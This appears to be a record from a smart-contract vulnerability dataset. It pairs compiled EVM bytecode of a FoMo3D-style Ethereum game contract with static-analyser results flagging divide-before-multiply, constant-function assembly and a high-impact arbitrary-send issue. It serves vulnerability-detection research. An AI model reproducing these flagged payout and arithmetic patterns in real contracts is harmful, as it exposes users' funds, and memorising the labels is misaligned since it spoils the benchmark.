3981519152604482015290519081900360640190fd5b60075460ff161515600114611939576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206128e7833981519152604482015290519081900360640190fd5b6000548a1115611993576040805160e560020a62461bcd02815260206004820152601760248201527f596f752772652072756e6e696e6720746f6f2066617374000000000000000000604482015290519081900360640190fd5b60008a8152600260205260408120549099506064906119b990601e63ffffffff61256716565b8115156119c257fe5b60008c81526002602052604090206019015491900498506119ea90899063ffffffff61264416565b60008b8152600260205260409020601a0154909850611a1090899063ffffffff61264416565b60008b8152600260205260408120549199509750606490611a3890603363ffffffff61256716565b811515611a4157fe5b60008c8152600260205260409020601a01549190049650611a6990879063ffffffff6125e416565b60008b8152600360209081526040808320338452909152902060010154909650611a9a90879063ffffffff61256716565b60008b81526002602052604090206001015490965086811515611ab957fe5b60008c8152600360208181526040808420338552909152909120015491900496509450611aec868663ffffffff61264416565b60008b8152600360209081526040808320338452909152902060020154909650935083861115611b5857611b36611b29878663ffffffff6125e416565b8a9063ffffffff61264416565b60008b8152600360209081526040808320338452909152902060020187905598505b60008a815260026020526040902060060154600160a060020a031633148015611b9a575060008a815260026020526040902060060154600160a060020a031615155b8015611bb6575060008a81526002602052604090206004015415155b15611bec57611be96064611bd18a600a63ffffffff61256716565b811515611bda57fe5b8991900463ffffffff61264416565b96505b60008a815260026020526040902060030154421115611dac5760008a815260026020526040902060050154600160a060020a0316331415611c4057611c3d6064611bd18a603c63ffffffff61256716565b96505b600092505b60008a90526002602052600b831015611dac5760008a8152600260205260409020339060070184600b8110611c7657fe5b0154600160a060020a0316148015611cbe575060008a8152600260205260409020601701548390600b90611cb190600163ffffffff6125e416565b811515611cba57fe5b0614155b15611d945760008a815260026020526040902060160183600b8110611cdf57fe5b602081049091015460ff601f9092166101000a90041615611cff57611d94565b60008a815260026020526040902060060154600160a060020a031615611d3c57611d356064611bd18a600363ffffffff61256716565b9650611d55565b611d526064611bd18a600463ffffffff61256716565b96505b60008a815260026020526040902060019060160184600b8110611d7457fe5b602091828204019190066101000a81548160ff0219169083151502179055505b611da583600163ffffffff61264416565b9250611c45565b60008a8152600360209081526040808320338452909152902060040154611dde90611b2990899063ffffffff6125e416565b60008b8152600360209081526040808320338452909152902060040188905598508815611e345760405133908a156108fc02908b906000818181858888f19350505050158015611e32573d6000803e3d6000fd5b505b604080518a815242602082015281518c9233927f067aa1d7e7bd2c0daf878a68551cbd9e1a4dbaaa1510600154c71bffbe420d86929081900390910190a350505050505050505050565b600454600160a060020a031681565b600360208181526000938452604080852090915291835291208054600182015460028301549383015460049093015491939092909185565b33803b8015611f0c576040805160e560020a62461bcd0281526020600482015260116024820152600080516020612907833981519152604482015290519081900360640190fd5b34633b9aca00811015611f8f576040805160e560020a62461bcd02815260206004820152602160248201527f706f636b6574206c696e743a206e6f7420612076616c69642063757272656e6360448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b69152d02c7e14af6800000811115611ff1576040805160e560020a62461bcd02815260206004820152600e60248201527f6e6f20766974616c696b2c206e6f000000000000000000000000000000000000604482015290519081900360640190fd5b60075460ff16151560011461203e576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206128e7833981519152604482015290519081900360640190fd5b612047846105ff565b50505050565b600454600160a060020a031633146120af576040805160e560020a62461bcd02815260206004820152601460248201527f6f6e6c79206f776e65722063616e20646f206974000000000000000000000000604482015290519081900360640190fd5b600160008181526002602052427fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e2819055610258017fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e3557fe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2f9556007805460ff19169091179055565b600754600090819081908190819081908190819060ff161515600114612195576040805160e560020a62461bcd02815260206004820152601c60248201526000805160206128e7833981519152604482015290519081900360640190fd5b6000548a11156121ef576040805160e560020a62461bcd02815260206004820152601760248201527f596f752772652072756e6e696e6720746f6f2066617374000000000000000000604482015290519081900360640190fd5b60008a81526002602052604081205490945060649061221590603363ffffffff61256716565b81151561221e57fe5b60008c8152600260205260409020601a0154919004935061224690849063ffffffff6125e416565b60008b8152600360209081526040808320600160a060020a038e16845290915290206001015490935061228090849063ffffffff61256716565b60008b8152600260205260409020600101549093508381151561229f57fe5b60008c81526002602052604090205491900493506064906122c790601e63ffffffff61256716565b8115156122d057fe5b60008c81526002602052604090206019015491900492506122f890839063ffffffff61264416565b60008b8152600260205260409020601a015490925061231e90839063ffffffff61264416565b60008b815260026020526040902060060154909250600160a060020a038a81169116148015612366575060008a815260026020526040902060060154600160a060020a031615155b8015612382575060008a81526002602052604090206004015415155b156123b8576123b5606461239d84600a63ffffffff61256716565b8115156123a657fe5b8691900463ffffffff61264416565b93505b60008a8152600260205260409020600301544211156125085760008a815260026020526040902060050154600160a060020a038a81169116141561240f5761240c606461239d84603c63ffffffff61256716565b93505b5060005b60008a90526002602052600b8110156125085760008a8152600260205260409020600160a060020a038a169060070182600b811061244d57fe5b0154600160a060020a0316148015612495575060008a8152600260205260409020601701548190600b9061248890600163ffffffff6125e416565b81151561249157fe5b0614155b156124f05760008a815260026020526040902060060154600160a060020a0316156124d7576124d0606461239d84600363ffffffff61256716565b93506124f0565b6124ed606461239d84600463ffffffff61256716565b93505b61250181600163ffffffff61264416565b9050612413565b50506000978852600360208181526040808b20600160a060020a039a909a168b52989052969097209586015460028701546004909701549198909691909101945092505050565b60075460ff1681565b600554600160a060020a031681565b6000821515612578575060006125de565b5081810281838281151561258857fe5b04146125de576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d617468206d756c206661696c656400000000000000000000000000604482015290519081900360640190fd5b92915050565b60008282111561263e576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820737562206661696c656400000000000000000000000000604482015290519081900360640190fd5b50900390565b818101828110156125de576040805160e560020a62461bcd02815260206004820152601360248201527f536166654d61746820616464206661696c656400000000000000000000000000604482015290519081900360640190fd5b60006126c56126ad846126fe565b6107376126c0868663ffffffff61264416565b6126fe565b9392505050565b803b8015905b50919050565b60006126c56126f56126f0858563ffffffff6125e416565b612782565b61073785612782565b60006309502f906127726d03b2a1d15167e7c5699bfde0000061073761276d7a0dac7055469777a6122ee4310dd6c14410500f29048400000000006109df6b01027e72f1f12813088000006127618a670de0b6b3a764000063ffffffff61256716565b9063ffffffff61256716565b6127ef565b81151561277b57fe5b0492915050565b6000612795670de0b6b3a7640000612842565b61277260026127c86127b586670de0b6b3a764000063ffffffff61256716565b65886c8f6730709063ffffffff61256716565b8115156127d157fe5b046109df6127de86612842565b6304a817c89063ffffffff61256716565b60008060026127ff846001612644565b81151561280857fe5b0490508291505b818110156126d2578091506002612831828581151561282a57fe5b0483612644565b81151561283a57fe5b04905061280f565b60006125de8283612567565b60408051808201825290600290829080388339509192915050565b6060604051908101604052806003906020820280388339509192915050565b60c0604051908101604052806006906020820280388339509192915050565b61016060405190810160405280600b906020820280388339509192915050565b608060405190810160405280600490602082028038833950919291505056005468652067616d65206861736e27742073746172746564207965742e00000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820ed1cf217f59be41c1cb5357405dab05f512328d5869619b691eccf8f2b2bfd570029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,599